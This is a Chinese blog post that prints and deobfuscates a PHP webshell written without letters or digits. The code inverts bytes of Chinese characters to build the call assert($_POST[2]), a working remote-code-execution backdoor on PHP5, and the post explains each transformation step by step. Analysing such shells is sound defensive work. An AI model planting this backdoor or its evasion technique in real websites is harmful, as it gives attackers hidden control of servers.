头图:https://cdn.naraku.cn/imgs/PHP-Shell.jpg
摘要:最近看到师兄分享了一个PHP一句话,感觉思路挺骚的,拿出来分析一下。

一句话

  • 代码中的下划线_不便浏览,建议保存到本地用Sublime Text 3Notepad++打开。代码如下:

    1. <?php
    2. $__=('>'>'<')+('>'>'<');
    3. $_=$__/$__;
    4. $____='';
    5. $___="瞰";
    6. $____.=~($___{$_});
    7. $___="和";
    8. $____.=~($___{$__});
    9. $___="和";
    10. $____.=~($___{$__});
    11. $___="的";
    12. $____.=~($___{$_});
    13. $___="半";
    14. $____.=~($___{$_});
    15. $___="始";
    16. $____.=~($___{$__});
    17. $_____='_';
    18. $___="俯";
    19. $_____.=~($___{$__});
    20. $___="瞰";
    21. $_____.=~($___{$__});
    22. $___="次";
    23. $_____.=~($___{$_});
    24. $___="站";
    25. $_____.=~($___{$_});
    26. $_=$$_____;
    27. $____($_[$__]); //2=phpinfo();

    核心思路

    这个WebShell的核心思路是将非字母、数字的字符经过各种变换,从而构造出assert函数,且利用了PHP允许动态函数执行的特点。需要注意的是,assert在PHP5中可以动态执行,而在PHP7中assert不再是函数,而变成了一个语言结构,因此不能再作为函数名动态地去执行代码。而这里的WebShell经过各种变换后构造出的是assert函数,因此只能在PHP5的环境下运行,故PHP7环境需构造成其它函数执行。

    分析

    $__$_

  • 前面的2个变量$__$_比较简单。从代码可以看到,其实就是一个大于号>和一个小于号<的比较,大于号的ASCII十进制是62,小于号是60,自然这里>大于<是成立的,返回true。由于PHP弱类型这个特性,true的值为1,所以$__=1+1=2,也可以得知$_=2/2=1

    1. $__=('>'>'<')+('>'>'<');
    2. $_=$__/$__;

    $____$_____

  • 接下来定义两个字符串$____$___,且可以从代码上看出,后面其实就是修改$___,经过一定处理后拼接到$____的后面,所以这里把其中一部分提取出来分析即可

    1. $____='';
    2. $___="瞰";
    3. $____.=~($___{$_});
  • 简化一下

    1. // $____.=~($___{$_});
    2. $____. = ~("瞰"{1});
  • 其中{}的作用是取字符串变量中的一个字节。UTF-8中1个中文字符占3个字节。这里将转换为二进制是

    1. 11100111 10011110 10110000
  • 因此可知,"瞰"{1}即取第1位字节(从0开始),即10011110,然后通过~按位取反,即得01100001,转换为十六进制即为61,对应的字符为a

  • 后面的$_____也是相同方法,最终得到
    1. $____ = assert;
    2. $_____ = _POST;
    3. // $____($_[$__]); //2=phpinfo();
    4. assert($_POST[2]);
    参考:一些不包含数字和字母的webshell